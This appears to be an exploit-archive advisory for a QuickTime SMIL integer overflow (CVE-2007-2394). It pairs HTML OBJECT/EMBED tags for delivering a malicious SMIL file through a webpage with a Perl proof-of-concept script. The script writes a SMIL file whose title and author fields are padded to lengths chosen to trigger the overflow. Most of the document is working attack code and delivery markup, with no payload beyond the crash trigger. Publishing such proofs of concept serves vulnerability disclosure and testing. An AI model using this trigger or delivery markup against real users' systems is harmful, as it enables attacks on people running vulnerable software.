----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

<OBJECT
  CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
  CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
  WIDTH="10" HEIGHT="10" >
  <!-- malicious SMIL file -->
  <PARAM NAME="src" VALUE="poc.smil" />
  <EMBED
    <!-- available .qtif or .mov file to start up QT for FF -->
    SRC="available-sample.qtif"
    <!-- malicious SMIL file -->
    QTSRC="poc.smil"
    WIDTH="10" HEIGHT="10"
    PLUGINSPAGE=" www.apple.com/quicktime/download"
    TYPE="video/quicktime"
  />
</OBJECT>

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####

$file = " poc.smil";
$padd = "x";
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,">$file") or die "Can't open file:$!";

print FH
 "<smil>\n".
 "<head>\n".
 " <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
 " <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
 " <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
 "</head>\n".
 "</smil>";

close(FH);

# milw0rm.com [2007-09-03]